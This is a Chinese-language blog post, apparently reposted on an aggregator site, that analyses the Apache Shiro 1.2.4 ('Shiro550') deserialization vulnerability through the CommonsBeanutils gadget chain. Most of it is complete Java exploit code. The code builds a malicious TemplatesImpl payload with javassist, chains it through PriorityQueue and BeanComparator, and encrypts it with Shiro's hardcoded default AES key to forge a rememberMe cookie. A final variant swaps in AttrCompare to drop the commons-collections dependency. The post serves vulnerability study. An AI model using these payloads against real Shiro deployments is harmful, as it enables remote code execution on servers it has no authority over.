Shiro反序列化分析

这篇具有很好参考价值的文章主要介绍了Shiro反序列化分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

Shiro,一个流行的web框架,养活了一大批web狗,现在来对它分析分析。Shiro的gadget是CB链,其实是CC4改过来的,因为Shiro框架是自带Commoncollections的,除此之外还带了一个包叫做CommonBeanUtils,主要利用类就在这个包里

环境搭建

https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
编辑shiro/samples/web目录下的pom.xml,将jstl的版本修改为1.2

<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>runtime</scope>
</dependency>

之后tomat搭起来就行了,选择sample-web.warShiro反序列化分析

CB链分析

先回顾一下CC4

* Gadget chain:
 *      ObjectInputStream.readObject()
 *          PriorityQueue.readObject()
 *              PriorityQueue.heapify()
 *                  PriorityQueue.siftDown()
 *                 PriorityQueue.siftDownUsingComparator()
 *                     TransformingComparator.compare()
 *                         InvokerTransformer.transform()
 *                             Method.invoke()
 *                                 TemplatesImpl.newTransformer()
 *                                     TemplatesImpl.getTransletInstance()
 *                                         Runtime.exec()

CB链跟CC4的不同点就是从compare开始的,正好可以从CommonBeanUtils包里找到BeanComparator这个类
Shiro反序列化分析
主要看PropertyUtils.getProperty这个方法可以任意类的get方法调用,可以调用任意bean(class)的一个get方法去获取nameproperty属性Shiro反序列化分析
写个demo测试一下

package org.example;

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class User {
    private String name;
    private int age;
    public User(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        System.out.println("Hello, getname");
        return name;
    }
    public int getAge() {
        System.out.println("Hello, getage");
        return age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
        PropertyUtils.getProperty(new User("F12", 18), "name");
        PropertyUtils.getProperty(new User("F12", 18), "age");
    }
}

// 输出
Hello, getname
Hello, getage

这样就可以利用TemplatesImpl中的getOutputProperties方法,这里面可以触发任意类的实例化,从而执行命令,注意这个类须继承AbstractTranslet类,或则改掉父类的默认值,如果忘了请回顾CC3
依赖:

<dependencies>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.8.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.27.0-GA</version>
        </dependency>

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>commons-logging</groupId>
            <artifactId>commons-logging</artifactId>
            <version>1.1.1</version>
        </dependency>
</dependencies>
package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        deserialize("cb.bin");
    }
}

追踪一下链的过程,在PriorityQueue的readObject打个断点,开追,进入heapifyShiro反序列化分析
进入siftDown
Shiro反序列化分析
进入siftDownUsingComparator
Shiro反序列化分析
进入compare,到达关键点,获取TemplatesImpl的outputProperites属性
Shiro反序列化分析
调用TemplatesImpl.getOutputProperites
Shiro反序列化分析
进入newTransformer
Shiro反序列化分析
进入getTransletInstance,到达世界最高城defineTransletClasses
Shiro反序列化分析
后面就不看了,就是defineClass,至此CB链结束,还挺简单的

Shiro550分析

环境上面已经搭建好了,这里不说了
Shiro550用的其实就是CB链,这里只是有一些细节需要注意,Shiro的触发点是Cookie处解码时会进行反序列化,他生成的反序列化字符串是进行AES对称加密的,因此要在对数据进行一次AES加密,反序列化漏洞的利用就建立在知晓key的情况下,而shiro最初时,key是直接硬编码写在源码里的,全局搜serialize
Shiro反序列化分析
可以看到这个DEFAULT_CIPHER_KEY_BYTES,amazing
Shiro反序列化分析

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

但是直接报错了,报的是cc中的ComparableComparator的那个错,虽然shiro中内置了CommonCollection的一部分,但是并不是所有,而org.apache.commons.collections.comparators.ComparableComparator这个类就在CC包里面,且在shiro中没有,所以寄
Shiro反序列化分析

无依赖Shiro550 Attack

关键点在于compare方法,如果不指定comparator的话,会默认为cc中的ComparableComparator
Shiro反序列化分析
因此我们需要指定一个Comparator

  • 实现java.util.Comparator接口
  • 实现java.io.Serializable接口
  • Java、shiro或commons-beanutils自带,且兼容性强

可以找到AttrCompare
Shiro反序列化分析

package org.example;


import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.map.CaseInsensitiveMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import sun.misc.ASCIICaseInsensitiveComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Comparator;
import java.util.PriorityQueue;

public class Test {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fis = new FileOutputStream("cb.bin");
        ObjectOutputStream ois = new ObjectOutputStream(fis);
        ois.writeObject(obj);
    }
    public static void deserialize(String filename) throws IOException, ClassNotFoundException {
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "Evil" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{ct.toBytecode()});
        setFieldValue(obj, "_name", "F12");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator beanComparator = new BeanComparator();
        final PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(beanComparator, "comparator", new AttrCompare());
        setFieldValue(priorityQueue, "queue", new Object[]{obj, obj});
        serialize(priorityQueue);
        byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\Property\\cb.bin"));
        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encrypt = aes.encrypt(bytes, key);
        System.out.println(encrypt.toString());
    }
}

成功Attack
Shiro反序列化分析文章来源地址https://www.toymoban.com/news/detail-843006.html

到了这里,关于Shiro反序列化分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Shiro1.2.4反序列化漏洞

    目录 Shiro1.2.4反序列化漏洞 一、JRMP协议 二、漏洞原理 三、复现步骤 四、修复和防御 ​JRMP全称为Java Remote Method Protocol,也就是Java远程方法协议。是RMI(Remote Method Invocation)工作的底层协议。 ​Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Co

    2024年02月01日
    浏览(28)
  • shiro反序列化[cve_2016_4437]

    目录 什么是shiro? 漏洞原理 漏洞复现 修复方案 Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。 Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使

    2024年02月15日
    浏览(31)
  • RuoYi v4.2 Shiro反序列化漏洞

    反序列化漏洞 漏洞原理 反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来

    2024年02月01日
    浏览(39)
  • 【shiro】shiro反序列化漏洞综合利用工具v2.2(下载、安装、使用)

    shiro反序列化漏洞综合利用工具v2.2下载: 链接:https://pan.baidu.com/s/1kvQEMrMP-PZ4K1eGwAP0_Q?pwd=zbgp 提取码:zbgp 其他工具下载: 除了该工具之外,github上还有其他大佬贡献的各种工具,有许多python编写的工具,功能简单,可以作为理解shiro漏洞原理并编写自己工具的教材。 说明 :

    2023年04月08日
    浏览(37)
  • Apache Shiro反序列化漏洞研究及解决方法

    前言 一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄 我根据客户给出的安全厂商反馈的问题,总结如下: 1,Shiro反

    2024年02月11日
    浏览(39)
  • shiro反序列化和log4j

    进入vulhb目录下的weblogic,复现CVE-2018-2894漏洞: 查看docker-compose的配置文件: 如图,里面有一个镜像文件的信息和服务名,以及它的 端口号 (后面要用): 然后使用下面命令,搭建docker-compose并启动: 如图,安装成功: 原理如下

    2024年02月07日
    浏览(36)
  • Shiro反序列化漏洞(CVE-2016-4437)+docker靶场+工具利用

    将java对象转换为字节序列(json/xml)的过程叫序列化,将字节序列(json/xml)恢复为java对象的过程称为反序列化。 Shiro框架提供了“记住我”的功能,用户登陆成功后会生成经过加密并编码的cookie,cookie的key为RememberMe,cookie的值是经过序列化的,使用AES加密,再使用base64编码

    2024年02月16日
    浏览(30)
  • Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

    目录 前言: (一)基本介绍 0x01 影响版本 0x02 漏洞分析 根据加密的顺序,不难知道解密的顺序为: 登入  验证  (二)环境搭建 1、本地复现 0x01 源代码 0x02  pom.xml修改: 0x03 tomcat服务器 0x04  ysoserial-jar依赖 0x05  访问端口  2、vulhub  访问端口:  (三)利用工具和方式 1、

    2024年02月05日
    浏览(40)
  • Apache Shiro RememberMe 1.2.4 反序列化过程命令执行漏洞【原理扫描】

    文章目录 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 二、 若依系统 2.1. 版本升级 2.2. 配置文件 2.3. 推荐做法 2.4. 栗子 2.5. 项目场景 三、Gus系统 3.1. shiro版本升级 3.2. 调用重新生成 3.3. 生成工具类 shiro漏洞补充: 一、分析定位 1. 漏洞描述 2. 项目引发漏洞简述 若依/Guns管

    2024年02月15日
    浏览(34)
  • 【java安全】无Commons-Collections的Shiro550反序列化利用

    Shiro550利用的难点 前面我们学习Shiro反序列化漏洞时,使用了一个简单的shiroDemo,在这个Demo中引入了一些依赖: shiro-core、shiro-web,这是shiro本身的依赖 javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖 slf4j-api、slf4j-simple,这是为

    2024年02月13日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包